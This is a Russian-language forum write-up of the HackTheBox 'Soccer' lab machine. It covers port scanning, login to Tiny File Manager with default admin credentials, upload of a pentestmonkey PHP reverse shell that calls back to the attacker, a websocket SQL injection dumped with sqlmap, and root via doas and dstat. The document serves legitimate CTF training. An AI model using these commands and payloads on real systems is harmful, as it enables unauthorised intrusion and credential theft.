ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Прохождение HackTheBox - Soccer (Linux, Easy) (https://forum.antichat.xyz/showthread.php?t=1642033)

Trager 24.06.2023 14:49

Приветствую,
Код:

Кодебай
! Сегодня пройдём
Код:

Soccer
- лёгкую линуксовую машину с площадки
Код:

HackTheBox
. Приятного чтения, друзья

Разведка

Начинаем, как всегда со сканирования портов, используем флаг
Код:

-sC
, чтобы использовать стандартные скрипты,
Код:

-sV
, чтобы определить сервисы открытых портов:

Bash:


Код:

nmap -sC -sV
10.10
.11.194 -oN nmap.out

Bash:


Код:

PORT    STATE SERVICE        VERSION
22
/tcp
open
ssh
OpenSSH
8
.2p1 Ubuntu 4ubuntu0.5
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
3072
ad0d84a3fdcc98a478fef94915dae16d
(
RSA
)
|
256
dfd6a39f68269dfc7c6a0c29e961f00c
(
ECDSA
)
|
_
256
5797565def793c2fcbdb35fff17c615c
(
ED25519
)
80
/tcp
open
http            nginx
1.18
.0
(
Ubuntu
)
|
_http-title: Did not follow redirect to http://soccer.htb/
|
http-server-header: nginx/1.18.0
(
Ubuntu
)
9091
/tcp
open
xmltec-xmlmail?
|
fingerprint-strings:
|
DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|
HTTP/1.1
400
Bad Request
|
Connection: close
|
GetRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
139
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|

|

|

|

|

Error

|

|

|

Cannot GET /

|

|

|
HTTPOptions:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|

|

|

|

|

Error

|

|

|

Cannot OPTIONS /

|

|

|
RTSPRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:36 GMT
|
Connection: close
|

|

|

|

|

Error

|

|

|

Cannot OPTIONS /

|

|

У нас есть три открытых
Код:

TCP
-порта:
Код:

22
,
Код:

80
и
Код:

9091
. Начнём с
Код:

80
-го:

https://forum.antichat.xyz/attachmen...7600636877.png

При переходе на
Код:

http://10.10.11.194
нас сразу же перенаправляет на
Код:

soccer.htb
. В таком случае следует внести
Код:

IP
-адрес и домен в файл
Код:

/etc/hosts
. Сделать это можно вот таким вот образом:

https://forum.antichat.xyz/attachmen...7600685422.png

Теперь мы можем попасть на домен:

https://forum.antichat.xyz/attachmen...7600705427.png

На сайте я ничего интересного не обнаружил, поэтому решил профаззить каталоги и файлы:

Bash:


Код:

gobuster
dir
-w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://soccer.htb/ -t
25
-x txt,html

https://forum.antichat.xyz/attachmen...7600774881.png

Нашлась директория
Код:

tiny
. Давайте посмотрим что в ней:

https://forum.antichat.xyz/attachmen...7600813656.png

Тут нас приветствует
Код:

Tiny File Manager
. Всегда, когда обнаруживаете подобные панели - сразу же ищите стандартные данные от них. Такие мисконфиги очень популярны в
Код:

CTF
:

https://forum.antichat.xyz/attachmen...7600839018.png

В данном случае стандартное имя пользователя для админа это
Код:

admin
, а пароль
Код:

admin@123
. Для пользователя это
Код:

user
и
Код:

12345
.

Пробуем войти от лица администратора:

https://forum.antichat.xyz/attachmen...7600868419.png

Взятие www-data

Теперь у нас есть доступ к файловому менеджеру. Через него мы можем загрузить вредоносный
Код:

PHP
-файл и получить реверс шелл.

https://forum.antichat.xyz/attachmen...7600888489.png

Для начала скачаем на нашу машину следующий файл - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php:

Bash:


Код:

wget
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

https://forum.antichat.xyz/attachmen...7600917923.png

Это готовый реверс шелл, который был написан на
Код:

PHP
. Теперь отредактируем его - в
Код:

$ip
нам нужно вставить наш
Код:

IP
-адрес в
Код:

VPN
-сети, а в
Код:

$port
, соответственно, порт:

https://forum.antichat.xyz/attachmen...7600937155.png

Теперь ставим листенер на порт, который мы указали в
Код:

PHP
-файле:

https://forum.antichat.xyz/attachmen...7600970671.png

Сразу же в каталог, в котором мы оказались изначально, загрузить файл не получилось, поэтому переходим в
Код:

tiny
:

https://forum.antichat.xyz/attachmen...7601001688.png

Затем в
Код:

uploads
:

https://forum.antichat.xyz/attachmen...7601037676.png

И нажимаем кнопку
Код:

“Upload”
:

https://forum.antichat.xyz/attachmen...7601065458.png

Прожимаем область с текстом
Код:

“Drop files here to upload”
и выбираем
Код:

php-reverse-shell.php
:

https://forum.antichat.xyz/attachmen...7601082896.png

Файл загружен, теперь нужно заставить веб-сервер запустить
Код:

PHP
-код, который расположен в нём:

https://forum.antichat.xyz/attachmen...7601106421.png

Нажимаем на
Код:

“php-reverse-shell.php”
, а затем на кнопку
Код:

“Open”
:

https://forum.antichat.xyz/attachmen...7601131739.png

И получаем сессию от лица пользователя веб-сервера
Код:

www-data
:

https://forum.antichat.xyz/attachmen...7601178856.png

Стабилизируем оболочку с помощью
Код:

python3
:

Bash:


Код:

python3 -c ‘import pty
;
pty.spawn
(
”/bin/bash”
)
;

Взятие пользователя

К сожалению, на машине повысить привилегии в данном случае не получилось. Но мы можем обнаружить следующий конфигурационный файл
Код:

Nginx’а
, где есть поддомен
Код:

soc-player.soccer.htb
:

https://forum.antichat.xyz/attachmen...7601221481.png

Вносим его в
Код:

/etc/hosts
и переходим на
Код:

soc-player.soccer.htb
:

https://forum.antichat.xyz/attachmen...7601274140.png

Тут мы можем посмотреть матчи, авторизоваться и зарегистрироваться. Для начала выполним последнее:

https://forum.antichat.xyz/attachmen...7601317373.png

Теперь авторизуемся:

https://forum.antichat.xyz/attachmen...7601440679.png

Отлично. Тут написано, что
Код:

ID
нашего билета равен
Код:

52405
. Похоже, что тут есть какое-то обращение к базе данных:

https://forum.antichat.xyz/attachmen...7601498079.png

Попробуем ввести в форму
Код:

52405
:

https://forum.antichat.xyz/attachmen...7601552881.png

Отправляем запрос и получаем
Код:

“Ticket Exists”
:

https://forum.antichat.xyz/attachmen...7601577590.png

То есть данный сервис проверяет валидность нашего билета по
Код:

ID
через базу данных. Попробуем проэксплуатировать
Код:

SQL
-инъекцию:

https://forum.antichat.xyz/attachmen...7601608786.png

Код:

1 or 1
- наш тикет существует

Посмотрим исходный
Код:

HTML
-код страницы:

https://forum.antichat.xyz/attachmen...7601630802.png

Запросы идут через веб-сокеты и
Код:

9091
порт, который был в сканировании
Код:

nmap
. В таком случае мы можем попробовать использовать
Код:

sqlmap
, который поддерживает веб-сокеты, чтобы вытащить нужные нам данные из базы данных. Для начала посмотрим какие есть базы данных с помощью опции
Код:

--dbs
:

Bash:


Код:

sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10

https://forum.antichat.xyz/attachmen...7601678568.png

Код:

1
,
Код:

2
,
Код:

3
и
Код:

5
база данных - генерируются автоматически. Следовательно, нам нужна
Код:

soccer_db
: используем опцию
Код:

-D
, чтобы указать название БД и
Код:

--dump
. чтобы получить из неё таблицы с данными:

Bash:


Код:

sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10
-D soccer_db --dump

https://forum.antichat.xyz/attachmen...7601696118.png

Самое интересное это:

Код:


Код:

player@player.htb
PlayerOftheMatch2022

Эти данные могут подойти для пользователя
Код:

player
. Попробуем подключиться по
Код:

SSH
:

https://forum.antichat.xyz/attachmen...7601732326.png

Взятие рута

Скачем программу
Код:

linpeas.sh
с нашего хоста в каталог
Код:

/tmp
на удалённую машину (про
Код:

linpeas
и то, как это делается я рассказывал в прошлых прохождениях):

https://forum.antichat.xyz/attachmen...7601758208.png

Даём права на запуск (
Код:

+x
) и запускаем. Во вкладке с “интересными” правами мы можем увидеть
Код:

/usr/local/bin/doas
с
Код:

SUID
-битом:

https://forum.antichat.xyz/attachmen...7601789603.png

Код:

Doas
, как и
Код:

sudo
позволяет запускать приложения от имени других пользователей. Настроить
Код:

doas
можно через
Код:

doas.conf
(https://wiki.archlinux.org/title/Doas_(Русский)):

https://forum.antichat.xyz/attachmen...7601817766.png

Ищем конфиг с помощью
Код:

whereis
и видим, что мы можем запускать
Код:

/usr/bin/dstat
с привилегиями суперпользователя. Проверяем:

https://forum.antichat.xyz/attachmen...7601837355.png

Запуск
Код:

dstat
через
Код:

doas
работает, отлично. Теперь заглянем на
Код:

GTFOBINS
(dstat | GTFOBins) - как можно повысить привилегии, если мы можем запускать
Код:

dstat
с правами суперпользователя:

https://forum.antichat.xyz/attachmen...7601866309.png

Нам нужна вкладка
Код:

“Sudo”
. И просто повторяем эти две строки:

https://forum.antichat.xyz/attachmen...7601900498.png

Рут получен.

Огромное спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях

КофеваркаМолли 04.07.2023 11:35

Очередная отличная статья! Огромное спасибо за обзор прохождений, это реально помогает))

Сергей Попов 04.07.2023 13:22

Вот такие же статьи по Antichat.games хотел бы видеть. Как пожелание


Время: 09:23